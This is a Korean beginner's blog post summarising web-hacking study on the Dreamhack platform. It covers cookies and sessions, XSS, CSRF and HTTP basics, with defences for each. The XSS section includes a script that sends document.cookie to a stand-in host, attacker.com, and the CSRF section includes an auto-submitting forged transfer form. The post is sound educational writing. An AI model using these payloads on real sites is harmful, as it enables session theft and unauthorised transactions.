Dreamhack 새싹 문제 풀이 & 웹 해킹 로드맵 학습 정리

요즘 웹 해킹 공부를 본격적으로 시작하면서 Dreamhack이라는 플랫폼을 활용하고 있어요.
실습 중심이라 직접 손으로 해보며 배우기 좋고, 강의도 체계적으로 잘 구성되어 있어서 혼자 공부하기에 정말 괜찮습니다.
이 글에서는 지금까지 풀어본 문제들과 수강한 강의, 그리고 각 취약점에 대한 개념과 예시까지 정리해보려고 합니다.

1. 새싹 단계 문제 풀이 (총 13문제)

Dreamhack의 새싹 단계 문제들은 웹 해킹 입문자에게 최적화되어 있어요.
웹 개발을 조금 해보신 분이라면 전부 풀이 가능하다고 생각합니다.

제가 풀었던 문제는 아래와 같습니다:

문제를 풀다 보면 단순히 정답을 맞추는 것이 아니라,
공격 흐름과 시스템의 취약한 구조까지 생각해보게 되면서 사고방식 자체가 달라지는 걸 느낄 수 있어요.

2. Dreamhack 웹 해킹 로드맵 수강

문제 풀이만으로는 부족하다고 느껴서 Dreamhack의 공식 로드맵 강의도 함께 수강했습니다.
강의는 실습 중심이고 개념도 쉽게 설명해줘서 복습용으로도 좋았어요.

수강 완료

웹 해킹 로드맵

수강 예정

쿠키 & 세션

쿠키(Cookie)란?

쿠키는 브라우저에 저장되는 작은 데이터로, 서버가 응답 시 아래처럼 설정해줍니다.

Set-Cookie: session_id=abc123; HttpOnly; Secure

이후 클라이언트는 요청할 때마다 자동으로 전송해요:

Cookie: session_id=abc123

HttpOnly: 자바스크립트로 쿠키 접근을 막아줍니다. (document.cookie 방어)
Secure: HTTPS 환경에서만 쿠키가 전송되게 제한합니다.

세션(Session)이란?

서버에 저장되는 사용자 상태 정보입니다.
클라이언트는 세션 ID만 들고 있고, 실제 데이터는 서버에 저장돼요.

# Flask 예시
session['user_id'] = 1234

서버는 세션 ID를 쿠키로 전달하고, 사용자가 요청을 보낼 때마다 ID를 이용해 해당 세션 정보를 불러옵니다.

XSS (Cross Site Scripting)

XSS란?

사용자의 입력을 필터링하지 않고 페이지에 그대로 출력할 경우, 악성 스크립트가 실행되는 취약점입니다.

예시: document.cookie 탈취

<script>
  fetch("http://attacker.com/steal?cookie=" + document.cookie);
</script>

HttpOnly가 설정되어 있지 않다면 쿠키를 탈취할 수 있어요.

Reflective XSS 흐름

<!-- URL: ?q=<script>alert('xss')</script> -->
<p>검색어: <script>alert('xss')</script></p>

방어 방법

HTML 이스케이프 처리 (<, >, ")
Content-Security-Policy 헤더 설정
HttpOnly, Secure 옵션 설정
입력값 검증 및 출력 위치에 따른 컨텍스트 고려

CSRF (Cross Site Request Forgery)

CSRF란?

로그인 상태의 사용자가 의도치 않은 요청을 하게 만드는 공격입니다.

예시

<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="10000">
</form>

<script>document.forms[0].submit();</script>

브라우저는 세션 쿠키를 자동으로 보내기 때문에 실제 사용자 권한으로 요청이 처리됩니다.

방어 방법

CSRF 토큰 사용 (<input type="hidden" name="csrf_token" value="...">)
Referer / Origin 헤더 검증
쿠키에 SameSite=Lax 또는 SameSite=Strict 옵션 설정

웹 기초 지식 요약

요청 / 응답 구조

GET /index.html HTTP/1.1
Host: example.com

응답:

HTTP/1.1 200 OK
Content-Type: text/html

<html>...</html>

BurpSuite 같은 도구를 사용하면 이 흐름을 실시간으로 가로채고 수정해볼 수 있어요.

이 구조를 이해하면 XSS나 CSRF 같은 취약점도 흐름상으로 이해하기 훨씬 쉬워집니다.

SQLi 학습 준비

SQL Injection 학습을 위한 준비로 SQL 문법을 복습하고 있어요.
기초적인 CRUD 명령들을 다시 정리하면서, 실제 쿼리가 어떻게 작동하는지 감을 익히는 중입니다.

복습한 내용

CREATE, DROP
INSERT, SELECT, UPDATE, DELETE

조만간 Dreamhack의 SQLi 강의 및 실습 문제도 풀면서 그 내용을 따로 정리해볼 예정이에요.

마무리

이번 글에서는 Dreamhack 새싹 단계 문제 풀이와
웹 해킹 로드맵 강의 수강, 그리고 주요 취약점 개념(Cookie/Session, XSS, CSRF 등)에 대해 실습 중심으로 정리해봤습니다.

혼자 공부하시는 분들께는 Dreamhack 플랫폼 정말 추천드리고 싶어요.
실습 → 개념 → 적용까지 흐름이 잘 잡혀 있어서 보안 쪽을 입문할 때 접근하기 수월했습니다.

다음에는 SQLi, Command Injection, LFI, SSRF 같은 취약점도 하나씩 실습하고 정리해보겠습니다.
읽어주셔서 감사합니다!

웹해킹 1주차

SERIES: 웹해킹 (5)

Dreamhack 새싹 문제 풀이 & 웹 해킹 로드맵 학습 정리

1. 새싹 단계 문제 풀이 (총 13문제)

2. Dreamhack 웹 해킹 로드맵 수강

수강 완료

수강 예정

쿠키 & 세션

쿠키(Cookie)란?

세션(Session)이란?

XSS (Cross Site Scripting)

XSS란?

예시: document.cookie 탈취

Reflective XSS 흐름

방어 방법

CSRF (Cross Site Request Forgery)

CSRF란?

예시

방어 방법

웹 기초 지식 요약

요청 / 응답 구조

SQLi 학습 준비

복습한 내용

마무리